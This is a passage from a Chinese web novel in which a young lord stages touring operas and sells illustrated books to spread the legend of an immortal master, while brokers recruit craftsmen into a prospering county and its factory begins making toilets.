——仙人赐下神果,以免百姓之饥,赐下神汤,以护孕妇周全,赐下神食,以免百姓羸弱不堪,赐下功法,以让百姓强健,开设学堂,以让百姓明智。 修整水道,以利农田灌溉,修改下水,以控全城安危 随着那画册所画,所写,竟是连赵金构都忍不住生出一阵想要膜拜仙师的冲动。 等到将这画册合上时,赵金构闭目,而后叹息。 这本画册所画的效果要比他想象中好多了,在这画册的基础上,他再稍微让戏台子出演一番,那仙盟的设立绝对要轻松许多。 翌日,在赵金构的要求下,数千本画册开始印刷。 与此同时,他倒也找了戏台子,让这群人按照画册所写稍作改编。 一共有数十家戏台子都收到了赵金构的邀请,起初过去时,众人均是摸不着头脑,不晓得对方到底想干嘛。 但当人过去后,看清楚那画册所画,又听清楚了赵金构给出来的价格后,各个均是动心不已。 “按照画本子所画演出,竟有三两银?” 要知道他们先前卖艺时,最好的情况下不过一两银而已,且因最近战乱,戏班子已经有数日不曾得到过什么活计了。 先前倒是试着去别的地方找寻出路,但毫无疑问,失败了。 毕竟连风仙县这般平和的地方都不太需要戏班子唱戏,更别提那些还不曾安定下来的区域了。 眼看戏班子要垮台时,竟是意外接到了赵金构的委托。 不过虽说钱给的多,但要求也同样古怪。 演出地点并非风仙县,而是需要外出前往别的地区。 当然,一路的车马费用是给报销的。 但外出确实有风险,一时间不少戏班子均开始琢磨要不要出去冒这个险。 看到这些人眼内的犹豫后,赵金构倒是展开折扇,遮住下半张脸轻笑。 “诸位太心急了,赵某何曾说过仅仅需要唱一场戏曲?请诸位看这里,这才是我为诸位安排的唱戏地点。” 随着赵金构的手指点过去,众人忙去寻他手指的方向去看。 只见映入眼帘的便是一活动场次表。 “若按照这路线走下去的,你们每一位最少都能唱二十场以上的戏曲,若情况特殊,甚至可以多唱一些。” 戏班子忙仔细看向那表格,若按照表格所写,他们的确能唱个二十场以上,每场三两银,这二十场便是六十两落在每个人头上也是一笔不菲的收入,再加上此次出行费用均由赵金构买单,这些钱可是纯利润 但外出风险确实有 一时间,众人陷入两难中,眼看众人犹豫良久,赵金构这才缓缓叹息道:“若没有人想做便算了,想来也是,这出行的确有风险,各位不如在本县内另找他处吧。” 先前还在犹豫的众人顿时??? 不是,等会,他们没说不唱啊! 只是还在犹豫,怎么赵金构就不干了? 顿时立马有人急了。 说话的人正是赵氏戏班。 这戏班子倒是在本地出名,倒不是因为说唱得有多好,而是因为此戏班团内均是飘零戏子,并未有家人这些羁绊存在。 只见这赵班主朝着赵金构作揖,而后表示自己愿意接下这活计,为奖赏赵班主的决心,赵金构特意让他先选择路线。 既有选择路线的权利,赵班主忙对比一番,选择了相对来说安全,唱戏次数又多的一条路线。 眼看这赵班主率先得了好处,其余人也坐不住了。 ——他们本就以唱戏为生,若抛开这戏曲,还能做些什么? 原先他们便想离开风仙县,出去寻找机会,眼下还有赵金构给出路费,且每场除了三两的费用外或许还有不少赏钱,无论怎么看,都是一场很划算的生意。 若因为外面恐惧而不出去,除非是彻底抛弃自身所学,在本地寻一个新活计,不然的话,岂不是待在原地等死? 这番对比后,不少戏班子倒也逐渐想明白了其中利害,再加上这赵班主因为先行表露出决心而率先拥有选择权后,更是惹得众人一片轰然。 “赵公子,这条线路依我看还是我等更适合,毕竟我们团更大一些,唱曲也唱得更好!” “呸,说这些大话,我们杨氏戏班不比你王氏小多少,而且我们杨氏戏班可要比你们受欢迎多了!” “赵公子,这条线路我要了哈!” 仅仅一炷香时间,原先赵金构排出来的路线便被这些人分刮干净。 再观这群人面容,那抢到好路线的人自然是浑身舒坦,而那没来得及抢到好线路的,倒是各个握紧手心,分明看着是气急了,但碍于情面,也勉强露出了一个笑容来。 既路线已分配下去,这些小事便不归赵金构管了。 虽说外出确实需要冒险,但这些线路已经是他精心挑选出来的,危害极低的线路。 若严格按照他所提供的线路来唱戏的话,按道理不应当会出现什么意外的。 为笼络人心,赵金构率先给了这些人此行所需的车马费,以及第一次演出的费用。 许久不曾入账的戏班子,在接到手中那沉甸甸的一袋子银两时,忍不住倒吸一口凉气。 ——竟这样轻松就给自己了? 不怕他们直接带着这银钱跑路? 一时间,不少戏班子都小小的轰动一番。 更有甚者,一时间双眼被贪婪所掩盖,甚至差点就打算带着这些钱逃离到别的县域。 但当他们看向持扇而立的赵金构,看到对方那张俊朗如月的面庞含着淡漠的笑意时,原先的小心思倒是缓缓消散了 此人既然敢给他们银两,定是对他们颇有研究,若真拿走这些银钱后,恐后续会落个再也不能进县的后果。 更严重一些的话,或许还会遭到赵金构的追杀。 倒吸一口凉气, 伴随而来的便是无边的后怕。 这会看着还在微笑的赵金构,众人免不了打了个寒颤。 先前被银两暂时迷了心神的人这才缓缓琢磨过来味,想想看吧,一顿饱和顿顿饱,他们还是分得清的。 毕竟拿走这钱不过只能支撑一时,若顺利归来,后续岂不是能拿到更多的任务? 眼看众人眼神逐渐清明,赵金构倒也不再多说,开始送客。 而这些戏班子则是决定先行训练,等到练得差不多时,先得让那位赵公子过目后才能离开。 好在是画本子足够优秀,他们几乎不需要改编许多,便能将这个故事快速改编完毕,看着一个崭新的戏曲即将成型,各个班主说不激动那是假的。 因不是统一改编,这数十位戏班子改编出来倒是各有风味。 轮番请了赵金构过来品鉴欣赏后,得以通过的戏班子便早早开始计划着路线,先一步离开了。 而稍微落后的戏班子则是铆足了劲,想方设法想要追赶上去。 倒是这几日戏曲听多了,赵金构竟然隐约生出了一股他原先假装纨绔时的感觉 不过值得一提的是,这数十个戏班子内,确实有几个将画本子改动得异常完美,尤其是第一个站出来的赵氏戏班,其中扮演仙师的角色生得貌美,加持着道具氛围出现时,竟隐约有几分仙人之姿。 眼看这些戏班子陆陆续续离开,赵金构同时找人将印刷成册的画本子往外售卖。 除了画本子,他也印刷了不少画像,以便配合着使徒传播仙师英姿。 而方知意则是静看眼下发展,同时将注意力挪到那三百工匠身上。 自运用那推荐制度后,风仙县内的民众热情顿时便被点燃开,尤其在她说明推荐制的累加后,——一人至五人,奖励一两,五人以上,一口气额外奖励三两,十人的话,则为五两。 若真能推荐来十人,这可是轻松便能到手18两! 原先的话,众人虽觉得本县安稳,但也没存有将此事传播出去的意图,但既现在有利可图,百姓自然是想方设法去联络城外的亲属,或者是原先曾经认识的熟人。 虽说在仙师引入新职业的情况下,每日薪资最少也为100文,但18两的含金量依旧高,毕竟对于普通人来说,18两那可是整整半年的劳动所得啊! 且所做之事不过是邀请工匠过来,左右这些工匠在外面也过得不好,还不如被他们邀请到风仙县,既让他们有了新的活计,自己也能得到推荐奖励,何乐而不为? 只要是个正常人,在这样一番考虑后,都生不出拒绝的心思。 一时间,众人均开始绞尽脑汁思索自己原先可有熟识的匠人存在? 脑内已有目标的自然以最快速度出城,试图赶在别人前面找此人进城,而那不曾认识匠人的人则是懊恼连连,——原先若是知道匠人这般吃香,他多结交几个便是,何故现在竟然一个匠人都不认识?白白错失了这赚钱的机会! 说到底散户手中的资源还是偏少,一般人最多也就能找到三五个,五个顶天了,但若论手中人脉的宽广,还得是原先经营着牙人生意的原住民。 而在牙人中,又以杜牙人最为有名,此人原先做牙人时,便以忠厚出名,给人介绍工作时,也不会昧良心介绍那黑活,反而是能帮一把就帮一把,也多亏他此等性格,倒是让他在这次的奖励活动中有了得天独厚的优势。 第124章 接引 城外。 杜牙人按照着手头原先的记录顺利找到了原先一熟识的匠人家中。 这匠人并非风仙县人,是隔壁县的人,先前有过寻求杜牙人帮忙找工作,所以信息这才能被他记录在内。 在敲门时,杜牙人倒是生出了几分别样的心思。 ——先前他便隐隐约约有预感需要转岗,但后来发现新岗位的产生速度并没有想象中的那么快,便不曾那么着急前去投奔仙师。 原想着趁着新旧交替的阶段再多赚点钱,倒是运气不错,县令大人竟放出了这样的消息,让他抓住了这次的推荐机会。 默默计算一番,这推荐给的钱可是不少。 再翻看一遍他早些年间记录在册的匠人们,杜牙人不免内心火热。 不说别的,他这本册子上登记的匠人消息便有一百来人,若是都能成功被他拉拢,这得是多大一笔金钱? 不过他既然能想到这一点,别的牙人定也是蠢蠢欲动,想到前些年他始终保持忠厚,原只是图个内心安稳,现在看来,竟倒是阴差阳错结了善缘。 脑内还在思索,房门已经被打开。 匠人看着眼前熟悉的杜牙人,沉吟一番后疑惑开口:“杜牙人?您这是找我有事?” 嘴上说着话,这人倒是忙不迭将杜牙人请进屋内。 屋内情况算不上好,比他记忆中的房屋要破旧许多。 杜牙人不免暗自感慨,世道不行,匠人的生活也跟着一落千丈啊。 原先这杨匠人还算是十里八村能赚钱的人,现在两年多不见,竟成了这副模样。 杨匠人满脸局促,他家娘子端了热水出来请他二人喝水。 杜牙人看着破了个豁口的陶碗,心里不是个滋味。 虽说推荐匠人确实能获得奖励,但眼下看着杨匠人这番惨样,别说是有奖励,就算是没奖励,他也想拉此人一把,毕竟在他记忆里,杨匠人算得上是一个孝顺父母,体贴娘子的好男人。 等到喝了一口热水后,杜牙人这才缓缓将他此行目的道来。 “杨兄弟,你或许不知道,风仙县那边正在大力招收匠人,尤其是像你这样的熟手,去了更是待遇不菲,这么说吧,在风仙县内,最低的工钱也是一日百文,更别提像你这样的熟手,我估摸着你去了最低也能拿到一百五十文的工钱。” 什么?! 日薪一百文竟然是最低的工钱? 他这样的最少也能拿到日一百五十文? 杨匠人脸色不免生出几分动摇,但依旧有些犹豫。 ——他家距离风仙县有些远,带着家人赶路不现实,但若是他离开老家,前去那风仙县,家中妻子,爹娘有个头疼脑热该如何? 且那般高的工钱,是真实存在的? 不过他相信杜牙人,对方既然能说出这话,就代表这事肯定和他所说大差不差,毕竟原先他曾经受过杜牙人的恩惠,通过他找到了不少好工作。 看出来杨匠人的犹豫,杜牙人将好处坏处揉碎了一一告诉他。 “杨兄弟,我知晓你的想法,若想的是路途远,不方便照顾家人,这点确实存在,但相应的也有好处,你若去了那风仙县,那处包吃包住,每日工钱都可以攒着拿回来给家人,岂不比你苦苦守在这里赚个十来个铜板要强? 我倒不是存心引诱你去风仙县,而是此机遇确实难得,等到招收匠人满了后,恐怕你想来,我都难以将你收纳进来。” 这话倒不是诓骗他,而是杜牙人真实内心所想。 在他看来,县令大人招收匠人绝对是有数的,现在缺口还大,招收的标准或许会放低,若等到后期人招满了,到时候可不是想进还进不来? 杨匠人眼内挣扎,杜牙人再给他来了最后一击。 “杨兄弟,你也知晓我杜某为人,若不是好工作,我何苦劝你过去,等你真正去了,你才知道我所说之话不假啊。” 内心的纠结犹豫尽数散去,杨匠人终于点头。 ——杜牙人说的有道理,他在这里一日不过最多赚十几文,就算守着家人又有何用?还不如去那风仙县去寻求高工钱,多的钱带回来给家人用也好啊。 只是 想到他即将要说出来的话,杨匠人不免脸皮发烫。 “杜牙人,最近我手头有些紧那好处费可否能等我去了工作后再给您?” 往常杜牙人要的好处费在一众牙人里只算得上中等偏下,杨匠人知晓这事,知道杜牙人体恤他们这些人,但无奈,他眼下确实窘迫。 不等他继续开口,便听杜牙人缓缓摇头。 “杨兄弟,此次我不需要好处费。” 这话一开口,倒是杨匠人有些迷惑地抬头去看他,却见杜牙人淡淡道:“官府已经将这好处费发放给我等,所以便用不着你出了。” 这也就像他这样有良心的牙人会这样做,大部分无良牙人是要两头吃的,——拿完官府给的,还要冲着介绍来的人要钱。 杜牙人扪心自问自己做不出这种事,倒也敞亮地将此事告知杨匠人。 意外得知此等好消息后,杨匠人不免松了口气,他并非那等不明事理之人,自然对杜牙人谢了又谢,等到和妻子,爹娘告别后,他便跟着杜牙人上了马车,而杨娘子站在屋外,含着眼泪送那马车离开视线。 先前杨娘子在窗外将丈夫和杜牙人的话听了个干净,等听到那风仙县内竟然能赚这么多后,心中纠结一番还是想让丈夫过去试试,毕竟全家老小都指望着丈夫赚钱,而眼下他所赚的十来文实在是难以支撑生活。 除却那风仙县需要匠人,她还听到那杜牙人说的话。 ——那风仙县真有妇人能做的活计? 说实话她有些不信,毕竟眼下别说妇人,就连男人都找不到工作。 若一个地方就连妇人都能轻易找到工作,她简直无法想象那地方到底会是多么富饶。 从以往经验来看,不可能。 但不知为何,她内心深处却不可抑制地喷涌出一种隐隐约约的,说不清,道不明的期待 如果,如果是真的,她是不是也能去那风仙县? 去那里,靠着自己的双手去赚取铜板? 但很快,冰冷的现实很快便浇灭了她的期待。 ——不可能的,在这世道下,她所想的东西不过痴心妄想,与其将心思放在此处,还不如想想明日该给公婆准备什么饭菜来得更实际一些。 但在她自己都不清楚的地方,那想法像是种子深深埋在她心口,不知道就会在哪一刻汲取营养后破土而生。 话说回来,自杨匠人跟着杜牙人离开后,本以为会一路赶往风仙县,但事实上,路途上杜牙人还顺路拜访了不少匠人,等到最后,马车很快便被塞得满满当当。 杨匠人倒也接受良好,毕竟这一路来车马粮草消耗也是钱,反正带他一个也是带,带别人也是带,既杜牙人都不收他费用,他又有何脸面催促对方? 且杜牙人的效率很高,几乎没费多少力气,便凑够了一马车的人,等人齐了后,马车自然是快速赶往风仙县,趁着众人都在,杜牙人倒也见缝插针地给他们讲了点风仙县需要注意的事。 别的事都还好,在听到每人都需要在下工后上“扫盲班”,众人不由大眼瞪小眼。 “杜牙人,这扫盲班是识字的地方吧?我们这些粗人,怎地能学会这般高雅的东西?” 在大部分人心里,读书认字,那可是老爷少爷们才有的待遇! 杜牙人摇摇头,脸上带着笑,“各位兄弟听我说,虽说扫盲班也会识字念书,但大都是学习一些生活上必要的新知识,这些东西更为适用于日常生活,若你们不学扫盲班的话,以后在风仙县的生活都会出现问题。” 众人更是不理解。 他们原先也不懂读书认字,但也没耽误他们生活,杜牙人这话到底是何意? 杜牙人早已不是解释第一遍,自然讲起来的时候颇为顺口。 “别的不说,你们可懂何谓一周?何谓12345?何谓乘法表,拼音字母?” 什么玩意?明明他说的字每一个都能听懂,但连在一起,怎么就不懂这话到底是何意。 看到众人一副瞪眼懵逼的模样,杜牙人摸了摸胡子,脸上竟不自觉流露出得意之色。 “没关系,刚来的话,的确不懂这些东西,这些东西便是最基础的扫盲班所教之物。 一周,指的是七天,而12345,通一二三四五,这被命名为阿拉伯数字,可结合着九九乘法表使用,一般在本县内,乘法表大家一般会用来日常做买卖,计算账务,计算工钱用,当然也有人习惯于用算盘,但使用算盘的那便都是老一辈人的喜好了。 至于拼音字母的话,可以帮助你们更快地读写字。” 这些新奇的知识众人都不曾听过,这会听杜牙人所说后,竟是听得如痴如醉。 更有甚者,竟求着杜牙人多讲一些新奇之事。 也是兴致来了,杜牙人除了讲解扫盲班,还额外多讲了那位诞生于潜灵山的仙师。 起初他并非是仙人的信徒,但在多日后,亲眼看着风仙县越变越好,再加上那日仙人横空出现,将那敌军绞杀击退,他便彻底生出了想要侍奉仙师左右的心思。 话题进行到仙师时,杨匠人等人则是纷纷各有心思。 有人觉得这仙师一说可谓是过于异想天开,但也有人则是被杜牙人所说之事深刻吸引,琢磨着等到了风仙县,说什么也要去买上一副那仙人的画像日夜拜着才是。 正是说话间,杜牙人口袋内恰好掉出来一本印刷精美的画册来。 第125章 仙来 掉落出来的画册刚落地,便立即被杜牙人捡起,他态度虔诚,像是对待无上珍宝一样小心翼翼地捧着它,先用布子擦拭了画册封面,而后满怀敬意地将这画册塞入怀内。 期间,众人看得屏气,等到看到杜牙人竟然不打算开口讲解一番后,总算是忍不住开始询问。 “杜牙人刚才那物是何物?依我看,像是一画册?”这是老实但眼睛好的人。 “老吴,你快别说了!”这是稍微有点情商的人忙开口打圆场。 众人顿时领悟。 既然人杜牙人并未打算开口告知他们这是何物,他们得多没有眼色才会眼巴巴地求着杜牙人去讲解这本人家并不愿意讲解的画册? 想到后期还要靠对方给自己一行人找工作,这个节骨眼上,没人愿意去惹毛对方。 吴匠人反应过来后顿觉懊恼,但不该说的话已经说出去了,这会他只能恐慌装死。 眼看气氛沉重,倒是杜牙人环顾四周,叹了口气道。 “倒也没什么禁忌的,只是这画册是我前些日子花费不少精力才抢购到的一本,其内容甚是精美有趣,我观此物后竟产生了一种超出世俗的感觉,这才决定随身携带,日夜观摩它才是。” 听到杜牙人的话后,众人原先好奇的心这会更是被紧紧牵引,眼看众人一副想问不敢问的模样,杜牙人倒是从怀里拿出那本画册,掀开给众人观看。 “既然你们也看到了,那便算是和仙师有缘,不过此物对于我甚是珍贵,诸位不要介意不能亲手翻阅。” 能看到画册已经很好了,哪有嫌弃的道理? 众人忙摇头,本还想继续恭维杜牙人几句,但在看清楚那震撼人心的封面时,各个均是呆愣在原地。 ——宋白的画技属实高超,而负责雕绘的版刻师也是心灵手巧,印刷的效果自然好得多。 只见那封面印刷的正是一面容堪称神迹的男子,长发飞扬,袍角翻飞,背后金色蛟龙仿若即将撕开虚空。 而在他身后,是数以万计的尸首。 极致的猩红和淡雅的青色碰撞在一起,一时间竟叫人目眩神迷,沉浸其中。 而在这中间,最引人注意的便是他那双紧闭的双眼,不似神佛的怜悯,也不似鬼怪的狰狞,一时间,竟是硬生生多了数分神韵 这便是那位传说中的仙师? 真人模样竟然是这般这般惊人? 看到此封面的人脑海没来及反应过来,各个瞪大眼睛看向杜牙人。 而杜牙人则是点头表示肯定。 “此画册所呈现的只有仙师一半的神韵,若你等有机会亲眼看到那位英姿后,定会觉得世间绝无可以复刻那位仙人的仙姿。” 继续往下翻阅画册,中间杜牙人还充当了给众人识字的作用,结合那精美的画册,众人看得如此如醉,等到翻到了最后一页时,众人竟生出了一种惋惜之意。 等再度回味时,脑内便被那画册所说的仙盟所吸引。 若真如这画册所说,仙人为了寻真心以证飞升,那便需要开创一个太平盛世,而负责推进太平盛世的组织便被称之为仙盟。 仙盟的加入条件本以为会苛刻万分,毕竟在他们看来,那可是侍奉仙人的地方,但令众人吃惊的是,那仙盟加入条件竟然低得离谱。 ——上面写得很清楚,但凡是心灵归顺于仙人,想为太平盛世的到来献出自己的一份努力,那便可以加入。 众人呆愣在原地,脑内却不自觉想起本朝最为火热的神佛一事,若想成为神佛门下一员,得先有一颗诚心,若心够诚了后,以为便可以加入了? 那肯定不是。 心诚后,则才有资格缴纳供养费,一人每年一两起步,上不封顶,若家贫的,但又想受神佛庇护的,拿个一两银子求个最下等门外信徒,而越往上,则会按照供养钱的多少对庇护范围进行相应的扩大。 像是杨匠人等人原先日子过得还算顺遂时,家中倒也供过神佛,不过也都是供的最低级的图个安心。 本以为神佛一说都大差不差,但谁能想到,这真仙设立的仙盟,竟然不需要任何银两供养? 单是这个发现就让众人呆愣在原地,久久不能回神,甚至有人不信邪,转而向杜牙人询问一二。 “杜牙人,敢问这仙盟内部可分等级什么的?譬如是否是按照供养钱计算的?” 这话很快便被否决。 “仙盟内部倒是确实有等级划分,但和供奉无关,而是看个体的贡献,譬如本县的县令大人便属于仙盟一员,自上任以来,县令大人修建水渠,改善水利,负责多项事务,所以她的贡献度就要高许多,自然在仙盟内部的地位最高。” 听清楚杜牙人的解释后,众人倒是倒吸一口凉气。 怎么也不曾想到,这仙盟竟然和那些神佛可不一样。 并非是按照银钱计算,而是实打实地看贡献度! 此刻,众人脑内却不受控制地闪过那画册上仙人的身影,就连原先对仙人存在与否持反对意见的人都考虑着等进城后必须要膜拜这位仙人一番。 更别提原先就有拜入仙人门下想法的其余人了。 马车继续前进,直奔风仙县。 而除了杜牙人正忙碌于寻找匠人外,风仙县大大小小的牙人也在不遗余力地寻找着先前自己曾记录过的匠人位置。 不过他们的效率就不像杜牙人这样高了,毕竟不少牙人原先惯于坑蒙拐骗,不存着日后继续打交道的心思,反而抱着能坑一个就坑一个的心态,这样就算亲自找上门去,也会吃个闭门羹,严重点的,甚至捂着脑袋抱头逃窜。 而像杜牙人一般忠厚老实的牙人则在这拉新推荐中如鱼得水,虽说往日那些惯于坑蒙拐骗的牙人经常会嘲笑他们傻,但眼下看来,可谓是傻人有傻福。 有心之人曾算过一账,他们原先费尽心思坑骗来的钱财,竟然抵不过这次拉新带来的收益!这可谓是赔了夫人又折兵! 要知道对于牙人来说,好的名气是可以循环往复利用的,一旦名声打出去了,求职的人会源源不断地涌来,这可比一锤子买卖划算多了! 一时间,不少人心怀悔恨。 倒也有不少精明之人则是从这次的拉新推荐活动中明白了一个隐藏的道理。 ——保持善良,才有可能能抓住仙人给的机会。 这悟出来的心得很快便传播开来,一时间,竟然传得大街小巷全都是。 等到方知意知晓这股风气的源头时,整个人也忍不住微楞。 思索片刻后,她便对仙师更为佩服 靠寻找匠人间接改善民风,这也在仙师的预设之中吗? 而与此同时,外出的戏班子则已经开始唱着那画册所写的戏曲,在各地演唱开来。 赵氏戏班。 因先前是第一个站出来拥护赵金构的委托,赵氏戏班很顺利地选择了一条最为合适的路线。 这已经是他们唱的第四场戏曲了,先前三场本以为会没什么收入,毕竟正值战乱,在他们看来,哪怕没收入,单论赵金构给出的基础银两,他们此行都是赚的。 倒是没想到,这演出在第一场时便获得了成功。 也是因为战乱,百姓除了日常耕种做活后便没有任何娱乐方式,而他们的演出则是适当的给这些百姓一个情绪宣泄入口。 赵班主还记得他们当时去第一个地点时,村内的小孩咬着手,欢天喜地地去喊村人过来听戏。 这一喊便是喊来了数个临近的村子,衣衫褴褛的众人挤在一起,伸长脖子,瞪大眼睛,似乎想看明白这个时候戏班子要唱些什么。 他们眼神不像是以往那般麻木,而是染上了几分异样的色彩,这色彩让他们多了几分新鲜的活人感,而并非路上遇到的那样麻木的村人。 这些百姓们聚集在一起,难得心情放松,叽叽喳喳吵着这戏班子要唱些什么。 ——前些年也有戏班子过来唱戏,那会世道还算可以,戏班子在台上咿呀咿呀地唱,台下小孩在人群里穿梭打闹,大部分时候戏班子喜欢唱一些像是《长圣殿》《月季亭》这类的爱情故事,亦或是唱荡气回肠的《替父从军》这类戏曲,总之听戏算是村人难得的娱乐之一,毕竟也只有逢年过节那些小戏班子才会过来图个彩头唱戏。 倒是没想到,如今这样艰难的时候,竟然还有戏班子过来他们这边唱戏。 众人眼巴巴地望着戏台,就连原先喜欢打闹的小孩也不再乱窜,而是被自家爹娘举在脖颈间仰头看向那戏台中央。 只是一开口,陌生的旋律仿佛在告诉众人,这次可不是原先那些被唱了千百遍的戏曲了。 有人先报了个名,此戏曲叫《仙来》,众人好奇得紧,何为仙来? 只是看下去,很快便明白了这戏曲所唱。 赵氏戏班当时改编时,着重于用发生在百姓身上的小事代入戏曲内,以便博取百姓的认同感和代入感。 所以当看到那戏曲内贫苦人因误打误撞遇得仙人指点,而后翻身时,众人免不了生出一阵羡慕 这人可真是好运道,钱财名声都有了,可谓是大赢家。 而那戏曲不曾停止,又是继续接引到另一人身上。 此人不过是一贫困匠人,但因仙人也获得了高薪资,全家活得比先前好太多。 此刻整个戏曲呈现出一阵欢快的氛围,这县内处处都好,岂不算是桃源地? 看戏的众人又是一片唏嘘感慨,而此刻,音乐寓.突然急促起来,众人定睛一看,原来是那县域外的敌人前来屠城。 第126章 平静 音乐急促响起,众人则是目不转睛地盯着那台上去看。 敌军强悍,他们如何能抵抗?各个看得绝望之际,一身穿青色衣袍之人突然登场。 初次登场时,众人瞪大眼睛,忍不住朝着那台子上的人去看。 只见来人眉目如画,身姿飘逸,猛地一看的确有几分仙人的神态。 台下无人开口,而是静静地呆愣在原地。 眼看仙人使用术法绞杀敌军后,台下看戏的众人这才反应过来,不由地拍手叫好。 至此已是戏曲高潮,按道理这个时候应该会有人给扔点赏钱算作彩头。 但事实上,赵班主压根就没想过会有这个环节,毕竟现在哪有人有闲钱给他们? 等结束后给台下人鞠躬时,他也只想着一会赶紧收拾收拾,去别的地方开始下一场。 正想那些有的没的时,脚下突然滚落过来一枚铜板。 一枚铜板? 赵班主呆愣了一瞬,而后伸出手,拿起那枚铜板细细摩挲,铜板还是热的,像是被人捂在手心很久,带着一些体温,就这样涵盖着某些数不清道不明的情感被抛上来。 他抬头去看,试图去寻找给出这枚铜板的人,然而一抬头,更是有数枚铜板迎面而来,仿佛下了一场厚重的铜板雨。 铜板扑簌簌地落在地上,透过地上的铜板,透过空中还在旋转下落的铜板,赵班主忍不住看向台下的人群,那是一张张显露出浓厚情绪的人脸。 眼内满含期待,试图真会有人将他们从此地解救出来。 赵班主眼神很好,他甚至看到了其中掺杂着的眼泪,延着那像是雨水般的铜钱滚落。 —— 我泣声祷告,吾主垂怜。 不知为何,脑内盘旋过来一句他不知道从哪个教会内看来的宣传词,赵班主突然觉得,这话或许用在此处很适合。 心脏被此情此景剧烈撞击,而后久久失神。 除了一文文的铜板,还有人往台上放了一些吃的喝的,算作对他们唱戏的回馈。 原先还害怕此行没有收获的赵班主头一次心慌,甚至生出了想要将这些铜钱给众人还回去的错觉。 但这是不合理的,如果他真那么做了,不说别人,就连先前扔出铜钱的百姓们也不会同意。 那铜钱代表着他们心底的渴望,渴望世道如同戏曲所说,渴望有仙人接引他们,替他们指路。 或许这一枚铜钱可以去买一些果腹之物,但这样挣扎何时是个头?人的心需要一个锚点支撑着继续在这样的世道挣扎,而这枚铜钱,起的便是这样的作用。 戏曲虽说唱完了,但台下众人却久久不愿离开,似乎在此处多停留一会,便能够触碰到那戏曲中所说的地方。 赵班主实在受不住地叹了口气,趁着团员还在收拾东西,他反而找机会和这些百姓搭话唠嗑。 “大伙听我说,这仙来讲的故事,我在那风仙县确实亲眼所见,若大伙真想去仙人庇护之处,便朝着那风仙县去。 等到了那处,你们便知晓我赵氏戏班不曾说大话。” 原以为这戏曲内唱的地方定不会存在,但当他这话说出时,仿若一滴水落入了滚烫的油锅一般,掀开剧烈的冲击。 询问铺天盖地。 “竟真有这地方?难不成赵班主便是从那里来的?” “赵班主,那戏曲内所唱都是真的么?” “赵班主,那风仙县在哪儿?到底该如何走才能到达?” 问题五花八门,在挑选了几个比较有实操性的问题解答后,他对着询问地址的村人细细阐述,甚至将行进路线画给他看。 临走前,他拍了拍这人的肩膀,“要是实在感觉过不下了,还不如拼一把,去那风仙县求个活路。” 东西都已收拾好,赵班主急匆匆地奔过去,继续开始下一次演出。 等他坐在马车上,有团员兴奋得叽叽喳喳。 “班主,没想到我们的仙来竟能收到这么多人喜欢啊,一开始我以为我们最多也就赚个赵公子给的钱呢,倒没想到还有这么多看戏的愿意给赏钱!” 说话的是团里年纪最小的,他兴奋于获得了意料之外的赏钱,而其余的团员则是默声不语。 赵班主没再开口,和这小孩说了几句话后,让团员尽快赶往下一目的地后,便钻进马车去。 原先他不过视这任务为赚钱的任务罢了,但在亲自演出,亲自看到那些人眼中流露出的渴望后,他突然觉得,他们的演出不单单是演出,更是能真正有效地替这些没活路之人指明一条全新的道路。 至于说如何安排这些民众,既赵公子能让他们去做这件事,本身便说明城内对外界民众的到来有安排,这等大事便不再他的考虑范围内了。 除却赵氏戏班勤恳唱戏外,其余十来支的戏班子则也陆陆续续开始了唱戏的行列。 大部分戏班子均是遵循职业操守,既赵金构出钱买他们唱戏,那无论有人无人,或有无赏金,他们都唱得认真,其中也有那么一两个戏班子则是惯会偷巧。 起初还好好唱戏,但后来看着赏金实在是少,再加上离风仙县远了许多,想那赵金构不能时刻过来看着他,一时间竟松懈不少。 不仅唱戏时敷衍应付了事,甚至还不按照原计划的路线走,反而绕了更近的路线,当然,为了保证总体路线时间足够,他们会放慢路上前进的速度,以求更轻松为主。 起初干这事时,他们还有些害怕,生怕被赵金构安排的人给看到后禀告上去,但偷偷试验一番后并未听到有任何风声草动,顿时乐了。 这李家戏班便是如此。 先前在改编戏曲时,属他们戏班子最慢,好不容易出来了,进度自然慢别人一截,从某次试着加快进程,不按照原先改编后的戏曲唱戏后,竟无人察觉,这便让李家戏班的人初次尝到了甜头,人一旦开始敷衍,且在无人监控,没有切实惩罚的情况下时,懈怠之心便开始肆虐。 一开始只是小行敷衍之事,后来看没收到处置,团内喝点小酒后更是过分。 处处说那赵金构不过小小年纪,哪能考虑如此周全! 一路上,别的戏班子苦哈哈唱戏,李家戏班则是舒舒服服地前进,就等着回去后拿走属于自己的那份银两。 赵府。 推开窗户,一只灰色的鸽子扑腾着翅膀落在赵金构肩膀上。 鸽子顺从地伸出绑着信件的脚,而当赵金构看清楚那上面所写后,脸庞不自觉勾勒出一抹淡漠的笑。 ——根据信件来报,前些日子出去的戏班子大部分都本本分分地唱戏,而在这之间,确实有一两个戏班子行敷衍之事。 他对于这情况早就司空见惯,反而惊叹于偷巧的戏班子只有两家。 在他的想象里,能有一半的戏班子能够勤恳就很不错了,毕竟他从没信任过人性。 但这个结果依旧出乎他意料 勤恳的戏班子他记下了,同样偷懒的,等回来后他自有应对。 赵金构眼内含着淡淡的笑,——如何确保威信设立?只有杀鸡儆猴。 风仙县内,最近则是全力铺设马桶的推广。 从原先由方知意推广的下水道改进,到现在致力于推广全县安装马桶,期间可谓是多番磨砺。 陶瓷厂内,先前早就招聘了数百名员工。 起初这些人被招收进去后,也以为或许要做的活计是做些锅碗瓢盆,或者是艺术品什么的。 技术娴熟的工人暂且不表,对自己的手法颇为自信,而那些手稍微生一些的工人,则是焦虑了许久。 ——要是干不好该怎么办?若是干不好,岂不是要被迫离开这地了? 不要啊,才刚刚有希望能让全家生活水平提升,结果转头就会被辞退,这得多么残忍。 若离开了这地,还有什么地方能只需要工作四个时辰,工钱还是日200文? 恐惧弥漫心头,不少人在即将上工的前一晚纷纷失眠。 但等到第二日,开始着手于做马桶时,众人从隐秘的不安转化为淡淡的不解和平静。 当然了,不解的情绪几乎是一闪而过,更多的情绪则是在看到所要生产的马桶后陷入一种仿若得救一般的救赎中。 太好了!这东西一看就感觉很好生产啊! 而负责马桶生产的李老本以为会有人不解,但当看到这群人均是一副接受良好,甚至眉宇间暗含欣喜的模样时,他忍不住表情微崩。 ——不是,合着只有他一个人很在意这件事吗???然后完事了大伙都这么接受度良好?岂不是显得他很大惊小怪,很是古板固执? 李老崩溃。 李老开始忍不住怀疑人生,并且反省自己不够宽容。 而陶瓷厂内,生产马桶则是干得如火如荼。 工人们则也从一开始的紧张不安,到现在已经成为了一个熟练的制作马桶工人。 